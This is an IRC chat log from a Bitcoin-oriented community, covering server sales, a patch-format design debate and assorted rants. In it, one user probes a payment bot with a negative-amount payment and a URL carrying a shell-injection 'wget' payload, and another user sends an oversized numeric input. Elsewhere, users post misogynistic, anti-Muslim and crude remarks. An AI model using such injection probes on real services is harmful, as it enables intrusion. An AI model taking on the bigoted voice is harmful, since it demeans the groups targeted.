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deedbot: http://trilema.com/2018/three-on-a-match/ << Trilema - Three on a match
asciilifeform: ^ ( goes without saying? ) for pro entomologists only
deedbot: http://trilema.com/2018/obscure-terms/ << Trilema - Obscure terms.
mircea_popescu: in other items perhaps of interest to the specialist, apparently i had forgotten the link for http://trilema.com/2018/lets-read-together-uncle-al-schwartz-hexadecimal-dependency/#footnote_9_78266 ; now added.
mircea_popescu: "having experienced several variants, i find it now saves time just to adopt the irrational position from the start." <<->> http://trilema.com/2014/how-to-deal-with-pseudoscience/ ; it is better to ignore random noise before examining it for coherence than after.
mircea_popescu: "oh, but how does one know something's random noise afore the fact ? isn't that begging the question ?" you can't establish something is random ~after the fact~, nitwit, randomness is not a property of the string ~but of the method that produced it~. therefore, it's random noise because it comes out of an unknown source, duh!
BingoBoingo: In other news, I think an Incan gave me a cold
asciilifeform: or, how it is taught to young children, 'don't eat things picked up off the ground?' 'but what if they're delish' 'but consider'
ben_vulpes: mircea_popescu: once upon a time there was an s.nsa expense line for ~"servers for nascent isp", would you sell one or both of those to pizarro?
mircea_popescu: "but mp, I ~know~ the source" "no you fucking don't. what's discussed here is knowledge in the strong sense ; your lack of ability to know anything due to http://trilema.com/2014/the-problem-of-ideal-social-systems-reprint/ and http://trilema.com/2011/semiologia-semantica-si-viata/ type issues does not permit you to now claim knowledge out of the void.
mircea_popescu: ben_vulpes you mean, of the servers asciilifeform is flying in ?
ben_vulpes: mircea_popescu: yup
mircea_popescu: asciilifeform are we selling ?
asciilifeform: mircea_popescu: i would not be opposed to selling off 1 of the 2 spares ( either for pizarro-credits, as mircea_popescu earlier sold FGs, or for coin, or come combination of the 2 )
mircea_popescu: we have a main which is going to be the nsa / phuctor main machine and 3 spares was it ? or 2 ?
asciilifeform: correct : 1, i call 'dulap-III' ; 2 spares .
mircea_popescu: also, do you want to lamp the main phuctor item rather than use the vps + server minigame system ? i imagine it'd be easier to do python bindingd and w/e that way ?
mircea_popescu: ben_vulpes what do you want to pay ?
ben_vulpes: digging up specs and comps atm, will check in shortly
mircea_popescu: asciilifeform and the idea is to keep a spare there in any case, even if we don't use it for anything, "to make up for lost time", live a little as it were ?
asciilifeform: correct.
asciilifeform: given as we are 'on space station'
mircea_popescu: i can see it.
mircea_popescu: in other items of kibo-interest, salted roasted pistachios with milk make for a splendid breakfast. you shell a few, you take a swig ; you take a swig, you shell a few.
mircea_popescu: tl;dr : "superior" & "civilized" romanian (ie, exactly http://trilema.com/2017/in-case-you-were-wondering-where-all-the-worthless-nuland-drones-ended-up/ ) "does not like trilema" because "how dares the ney work times advertise it!! imagine, i was reading there like a good nuland drone, and what do they show me ? trilema!!! THE EVIL BADGUY FROM MY COUTRY!!! THE WHOLE PANTSUIT SYSTEM IS BREAKING DOWN!!!111"
mircea_popescu: incredibly enough, original item still there even! https://twitter.com/ludditus/status/51677863652491264
mircea_popescu: (he also hates bitcoin, because how dared it make me rich. and in general -- let's just say if he sees you driving my car he'll hate you too)
asciilifeform: any particular reason ? ( or does he simply despise folx whose names start with 'm', or wat )
mircea_popescu: dude thinks pantsuit is right ; hates the fact that i exist, and the way i tend to rub pantsuit nose in the necessary pantsuit failure / gloat at the success of my rape & "sociopathy" campaign REALLY gets his goat.
mircea_popescu: basically cuck rage, but of a platonic rather than sexual nature.
mircea_popescu: but anyway, in between "here's what the french atlantic said about german cars, bmw is worst ever" and retweets of "Having kids to give life meaning creates more lives that need meaning. Basically it’s a Ponzi scheme." he did entertain me for a few minutes, so not all is lost.
mircea_popescu: imagine, dacia good, bmw and audi bad. a whole generation of dead romanians would cream SO HARD if they could see this.
ben_vulpes: !~ticker --market all
mircea_popescu: bwahahaha "bug in npm changes permissions on / file system destroys productions linux or unix boxes. “sudo npm” will chown “/“."
mircea_popescu: it's kinda funny to delve into the other side on occasion. check out the "i'm an idiot" style quotes, be unsurprised they use "npm" to chown root
mircea_popescu: (npm is a package manager for javascript)
a111: Logged on 2018-02-22 18:38 ben_vulpes: https://github.com/npm/npm/issues/19883
mircea_popescu: asciilifeform aha.
asciilifeform also had to look up wtf is/was 'npm'
mircea_popescu: node.js, "we pantsuits can republic too!"
asciilifeform: i'll admit my 1st thought was '... novell ??!' but then looked at calendar..
mircea_popescu: hey, novell netware is what got me into hand-written serial cable protocols.
asciilifeform: lol metoo
asciilifeform and never got out!
mircea_popescu: honestly i don't recall being as infuriated with computers hence.
mircea_popescu: i was younger then.
mircea_popescu: "Qaisar Mahmood, a Muslim born in Pakistan, is the new head of the Swedish National Heritage Board." He admits "he has not read anything about Sweden’s cultural heritage." << bwahahaha
asciilifeform: hey, 'if it contradicts the koran, it is heretical, if not -- superfluous' (tm)(r) or was that from the last go-around.
mircea_popescu: and the funniest part of all of this is that they're somehow not calling it rape.
ben_vulpes: so, no tickerbot anymore?
mircea_popescu: rape is only when a white boy on campus gets his nerve up to say hi
mircea_popescu: ben_vulpes shinohai got an identity crisis after finding out he's lagging behind, is either genuinely finding his way out or else sulking somewhere waiting for the usual disasters to befal.
ben_vulpes: certainly looks that way
mircea_popescu: the notion there exists a fiatola bitcoin price was due for a trashing anyway ; part and parcel of a collection of quaint nonsense like the flat earth on turtles and the predictive power of phrenology.
mircea_popescu: "3x as many male managers are now uncomfortable mentoring women in the wake of #MeToo. This is a huge step in the wrong direction. We need more" << roflmao.
mircea_popescu: oh, wait, being an annoying bitch doesn't work ?!?! ONOES!! WHO COULD HAVE PREDICTED!
mircea_popescu: backpedal goes in anus nao ?
mircea_popescu: anyway ; training the "woke" in any sort of skilled anything is seriously immoral. knowledge is not to be used for evil.
ben_vulpes: mircea_popescu: how about 0.195 btc for the big box
mircea_popescu: ill get back to you.
ben_vulpes: i'd also like to buy an option to buy the s.nsa spare if you're amenable
mircea_popescu: we just discussed this ; s.nsa is at the most selling one of the two spares. ill run the numbers later an' give you an aye or nay.
ben_vulpes: ok thanks
mircea_popescu: http://www.dailymail.co.uk/news/article-5351133/Eastern-Europeans-10-times-faster-farm-work-Brits.html << fucking hysterical. entirely useless precious cuntlets somehow stop short of wondering why the fuck their government has to import muslims by the million as the only people troglodyte enough to fuck their dumb cunts.
mircea_popescu: https://www.nytimes.com/2018/02/06/us/baltimore-police-corruption.html << and in other news, turns out baltimore is becoming the first city liberated by republican militias from the terrorist self-appointed usg ?
mircea_popescu: anyone wanna move there, build a stronghold ?
mircea_popescu: piddly $100k career take for "elite" representatives of the embattled government ? vulnerable as all hell.
deedbot: http://pizarroisp.net/index.php/2018/04/02/php-hosting-and-mysql-dbs-now-available-on-pizarro-shared-hosting/ << PizzaroISP - PHP Hosting and MySQL DBs now available on Pizarro shared hosting
asciilifeform: 'They stole $100,000, which was half the money in the safe...' << wat
asciilifeform: why steal ~half~
asciilifeform: who does this.
asciilifeform reads end of $crapola, and discovers nominal reason, lol
mircea_popescu: the usg employee that told the truth hasn't been seen this decade.
asciilifeform: nah, that's ~last~ decade. ~this~ decade nobody's even seen one that sold a half-believable dose of flimflam.
BingoBoingo: In other news: Holy Shit! "D'Selby Gotas Nasales" are fast!
mircea_popescu: ephedrine ?
BingoBoingo: Nafazolina
BingoBoingo: And a fuck ton of boric acid apparently
BingoBoingo: Easily squeezed a couple ounces of fluid from my sinuses in the first few minutes pursuing nasal stability
BingoBoingo: And probably killed any ants lurking there too
mircea_popescu: iirc that created the problem it cured ?
deedbot: http://qntra.net/2018/04/china-raises-tariffs-on-us-agricultural-exports/ << Qntra - China Raises Tariffs On US Agricultural Exports
asciilifeform: verily, that's the nose spray where for every litre of snot you would have otherwise disgorged, instead there will be 2 to pay
asciilifeform: 'on installment'
trinque: neti pot and salt water works better than anything
trinque: just remove whatever your body didn't want there, and that's that
mircea_popescu: usg medicine is very much like usg "technology" aka web development : "hey, it seems to work!"
BingoBoingo: <mircea_popescu> iirc that created the problem it cured ? << Well, temporarily aggrevated the problem it treats
BingoBoingo: <asciilifeform> 'on installment' << Rebound effect is normal only when you go beyond three applications. This is more spackiling over the acute phase.
deedbot: http://trilema.com/2018/minigame-smg-march-2018-statement/ << Trilema - MiniGame (S.MG), March 2018 Statement
deedbot: http://trilema.com/2018/trilema-pages-restructuring/ << Trilema - Trilema pages restructuring.
hanbot: hey mircea_popescu: people are wanting to get an mp-wp --is my understanding of the situation correct, ie proablem i had with making vdiff --> proablem with v itself --> folks are reformulating these?
mircea_popescu: hanbot atm phf is re-grinding his vdiff to include histfile and afaik you didn't have hosting ? did that meanwhile resolve ?
hanbot: was given hosting keyfob yest. evening, will be getting whet.net back today/tomorrow
mircea_popescu: ah. so then get the whet back and see from there. maybe new vdiff is ready ; if not and you want to march you can apply spyked's patch on the extant codebase as published by phf, if i understand correctly that should fix your problem. the diffs you produce with the thing thereby compiled will work with later restared vdiff too.
hanbot: ah okay. thanks!
mircea_popescu: aaand in other "we used to think romanians are specifically retarded, but then the usians went and joined up!" sads, http://www.dianacoman.com/blog/2011/08/08/referintele-ca-niste-punti-lipsa/
mod6 looks
asciilifeform: plz do not treat these as homeworks, mod6 , they are there for illustration
mod6: ok
asciilifeform: ( tldr : it's a demo of a guaranteed-cure for the infamous ' moving mpi dir ' misery . )
trinque: neato vchain asciilifeform
asciilifeform: lemme know if any part of it did not make sense, or if i laughably misunderstood the orig trinque-algo.
trinque will read
mircea_popescu: asciilifeform basically breaks every patch up into single-file units ?
asciilifeform: mircea_popescu: well, consolidates, rather than breaks up, but correct.
asciilifeform: every patch has exactly one --- and +++ : at the head.
asciilifeform: each followed by exactly 1 hash ( or, in the case of genesis, 'false' . )
mircea_popescu: basically you add all files into a temp together, space-separated ?
asciilifeform: nope. there is no inbandism, literally any combination of characters is legal in the single file.
mircea_popescu: i'm reading.
mircea_popescu: "print decoration" ?
mircea_popescu: (i get it, i get it, you use the republican-standard declare-size cut method. yes yes.)
asciilifeform: the #####...#### thing. it can contain literally anything, purely for ease of eyes.
asciilifeform: correct.
mircea_popescu: this is where we admit that while the alternative solution presented passes on technical merits, nevertheless the thing it's an alternative to has much better political support. i ~want~ to require people to say a word about their patch, for human eyes.
asciilifeform: it isn't an alternative, imho we really gotta have the chronicles.
asciilifeform: it's an alternative to the idjit unix multifile diff that doesn't let you move files without barfing megs of liquishit into the diff.
asciilifeform: it has also added seekrit bonus of making the patch format non-inbandistic.
mircea_popescu: at which juncture i suppose it'd pay to check, huh. hey phf, my memory of logs discussion includes this item whereby the above problem was fully resolved by declaring the path as inseparable part of the filename. you on the same page ?
mircea_popescu: "all files are identified by hashes of their (proper) name and content" and all that.
asciilifeform: it would be correct also to say that dir2txt/txt2dir abstracts over the idea of unix filenames entirely.
asciilifeform: ( transforms whole spittoon into 1 strand, and back, as necessary )
mircea_popescu: myeah. the only problem is that i suspect the unix notion of filenames (if ~properly~ regarded, ie, full paths) is actually entirely correct, and how gns will have to work anyway.
asciilifeform: it's correct but woefully incomplete, offers no compact way to represent movement.
mircea_popescu: gns:mircea/writings/trilema/categories/ is just about the only way to corectly refer to the item.
asciilifeform: and observe, would work entirely ok with given algo.
asciilifeform: it is not married to particular form of path.
mircea_popescu: asciilifeform the logged discussion on the topic was, "if hashes match but paths do not, the file was moved ; if hashes match and paths match, the file is untouched ; if hashes do not match but paths match the file was modified ; if hashes do not match and paths do not match the file was created/deleted"
mircea_popescu: this is complete.
asciilifeform: how would you represent the movement tho
asciilifeform: in the actual vpatch format
mircea_popescu: case 1 : the hash matches but the path does not.
mircea_popescu: file a/hurr/durr.txt hash aba1 matches file b/hurr/hurr.txt hash aba1, durr.txt was renamed as hurr.txt (renaming and moving are, like norton commander correctly identified, the SAME op. it's all a namechange.)
mircea_popescu: press f8.
asciilifeform: this scheme would however lock you into not ever both moving and modifying a given file, if you want the diff to be compact
asciilifeform: (*within 1 patch)
mircea_popescu: yes, the idea was to make a "reorg" patch separately if you're going to move files about.
mircea_popescu: which is proper, the moving should be costly.
phf: mircea_popescu: we're on the same page
mircea_popescu: meanwhile otherplaces, "shared libraries are obviously a good idea until you’ve actually used them. then whether it’s obvious or not that they’re a bad idea is mostly a matter of how close you are to trying to get them to work." such a great share that anant thing.
asciilifeform: mircea_popescu: your algo as far as i can tell worx perfectly well. mine however is simpler. ( and also worx )
mircea_popescu: asciilifeform yeah.
mircea_popescu: and so you check the dood's bio, and "I currently work at Ozlo, where we’re building an AI-powered digital assistant. Previously, I worked at Firebase, a scalable realtime application backend. Before that, I worked on a wide range of experimental projects to improve the web at Mozilla Labs."
asciilifeform: ( i would not even bother posting it, but it does cure inbandism, and afaik nobody else has proposed of a way to )
mircea_popescu: just... why the fuck! "i am an intelligent fellow. i have these dumbells on my feet ; and this loudspeaker screaming in my ears". dude...
mircea_popescu: asciilifeform seems to me a correctly designed and properly implemented version of trinque 's original doodle, which he summarily described as "bundle all files together and hash"
trinque: mircea_popescu: bet you the dood even read it.
asciilifeform: hence i called 'trinquian vtron'
mircea_popescu: trinque hm ?
trinque: harrison bergeron I mean.
mircea_popescu: it's just... jesus christ i am at a loss to comprehend what the problems involved are. fuck me, i'm working on an ai sex bot to fetlife ? really ?
phf: asciilifeform: well you followed an established tmsr solution to inbandism, state the counts before you present the count.
mircea_popescu: it's not even the timewaste per se, it's the subjective relation to it.
asciilifeform: phf: afaik it's the only solution.
mircea_popescu: it is provably the only possible solution.
phf: btw unified diff also follows the same format. you can use @@ ... @@ to know exactly when your hunk ends (see the vpatch code)
asciilifeform: aha, asking for 'different solution' would be rather like asking for 'different pythagor's theorem'
phf: there's an implicit inbandism in unified diff though, which is the requirement for diff to be a POSIX "text file", so you still have arbitrary, and unknowably, large "lines"
mircea_popescu: i don't remember what you said when i asked if your new diff diffs binaries ?
asciilifeform: phf: this is curable by not using unix diff. the only lines ~produced~ by dir2txt ab initio are the decorative ones and the 1234 @ filepath . all other bytes are copies as-they-are and line-agnostically.
asciilifeform: *copied
phf: mircea_popescu: it doesn't now, there's no reason why it can't, diffing binaries is a different beast from text diffing, so it's about adding a new kind of hunk/header formats that say "this here follows a binary diff"
mircea_popescu: "ulrich drepper's famous page on". famous ? really ? how the FUCK is anything drepper did even vaguely worth the mention, let alone "famous" ? oh, because pantsuits push it, ie http://trilema.com/2012/a-conversation-with-frank-zappa-ix/#selection-231.0-233.634 ? hurr!
mircea_popescu: phf that's the issue in my head, of no practical consequence as it is : why, exactly, different beast, and how ?
asciilifeform: fwiw my format will actually eat bins without problem. ( you would still need a tool to 'human-display' them. and a differ other than unix diff. but the 'crystal' format holds arbitrary bytes, noprob )
mircea_popescu: if you have the time i'll hussle you with annoying fundamental questions. if not, later.
mircea_popescu: asciilifeform yeah.
phf: mircea_popescu: let's revisit this question in a couple of days, i'll give it some thought too. i want to finish regrind in the next day before hanbot is done with standing up her mp-wp instance
phf: it looks like i'm going to wrap up the rest of the "replicate diff/patch" this week, so that'll also be the time to start adding the clever features
mircea_popescu: it also looks like douchebag ran out of chicks in his discordbook, so we shall enjoy productivity unblemished lel
phf: tmsr tests your fuzzy numbers, it's where "plenty" becomes "~3-5" or more often than not "none at all"
mircea_popescu: part and parcel of the problem of postmodernity, and the deep cause behind all the superficiality, is that nobody ever gets a run for his money. like in overadvanced (supercowardly) species, the whole contest of life consists of display and nothing more.
mircea_popescu: (as you might intuit, i was a terror as a 5yo being introduced to darwinism. "so why did the other birdy quit ?" "well the guy was bigger." "so ?" "so he's affraid of him." "why ?" "because he's bigger." "So what if he's bigger ? what could he do ? just flies around like an idiot" "could peck it" "so could the smaller one!" and on and on.)
douchebag: ill find more whores
douchebag: just busy with work last few days
douchebag: also let me try something
douchebag: !!pay -0.01 128BUcwkYM4AK2k6TXEg8RvA83kxL6Sw9Y
douchebag: !!balance
douchebag: !!v 387FBFD7CBFF96A786BA6603955FF979E301422D9E722AA258E45C174B949086
douchebag: !!pay -0.01 douchebag
douchebag: !!v 515B68D8A92E5C93C110EEA41B63B623FFCAC88F8F61DD243D5DE2E71C1A0AD2
douchebag: !!balance
douchebag: That's all the testing for that matter
douchebag: The idea was that if the bot subtracts the value I send Ie: Balance - - 0.01 it would actually become balance + 0.01 because maths
asciilifeform: the folx who Never Suspected minus sign exists -- live elsewhere
douchebag: And if the bot was checking if my balance is greater or equal to the value sent, it would obviously pass
douchebag: I actually have found that in web applications before
asciilifeform: this is why work with 'web applications before' is catastrophically terrible for yer health, douchebag . it is like building a wrestling career against kindergarteners.
douchebag: It's mostly entertainment
douchebag: It also leads me to wonder if there are any race conditions in deedbot
trinque: no, there are not.
trinque: and wtf, pay negative, you think I didn't handle that?
trinque: where's my report on trb dependencies?
douchebag: I'll get on that now, just got home from work
asciilifeform inevitably recalls the parable with the drunkard, who searched for the lost coin 'where the light is', rather than where he had dropped it
douchebag: What distro would you suggest doing a fresh install on?
trinque: gentoo'd be a fine choice
douchebag: That'd be interesting - I have minimal experience with gentoo
mircea_popescu: asciilifeform he has a point, javascript is fulla it.
mircea_popescu: also if you manage to upset the developer's expectation javascript uses ints, it'll fail all sorta 4.9999998 = 5 tests
trinque: this'd be why I didn't use the floopy lisp for the math (yes, could've done the checks in floopy lisp, but.)
mircea_popescu: douchebag there's an almost-official gentoo version floating about, we're working towards making it definitive.
douchebag: interesting
trinque: but as dianan_coman observed, the outside world moved, while the thing hadn't yet eaten enough of the outside world.
trinque: idea is portage, the gentoo package build system, is redone in V
trinque: but, I would recommend a student go build his own by hand. doing so by reading my script would be fine, so long as you research every line to understand why that step was done.
mircea_popescu: !!pay 123456789012345678901234567890123456789012345678901234567890.123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
douchebag: no integer overflow
mircea_popescu: deedbot the imperturbable.
trinque: loller
trinque: command is a dumb string until the OTP is confirmed, and then gets parsed and certain type demands are made of the result
trinque: which, if fail, straight into oblivion with it
deedbot: douchebag1 subscription to http://test.com/$(`wget failed
ben_vulpes: dude you gotta do this shit in pm
trinque: also subscribe lever has been removed for something like a year, and I've been processing subscription requests by hand
douchebag1: Did anyone click that
douchebag1: Because I got a hit
ben_vulpes: likely an archive bot
mircea_popescu: douchebag1 bot autoarchives
douchebag1: it doesn't look like wget though
mircea_popescu: in other lulz, "Hey! I'm Ashley. I'm an 18 year old girl living in Houston, TX who's in a bit of a financial bind at the moment. I'm a senior in high school. I don't even have my drivers license or a ride to work so it's not like I can get a normal job at the moment."
mircea_popescu: if anyone living in houston wants her profile.
trinque: lol nah I had one of those before, wrong jusrisdiction to straighten her out, as per the definitive trilema.
douchebag: trinque: For my writeup, do you want exploits that can actively be exploited on trb or just exploits in the dependencies used?
trinque: if yes, why, if not, why not, would be great.
douchebag: Sounds good
mircea_popescu: so this upscale local market ("automercado") that stocks all the shit i buy and consequently got a multi-mn monthly account came up with the very dubious idea of running a promotion. one of those things where you get stickers with your receipt and then you fill a book ? in the terms of the master provisioneer, "they'll rue the day!". i think she's got like twenty of the things all lined up.
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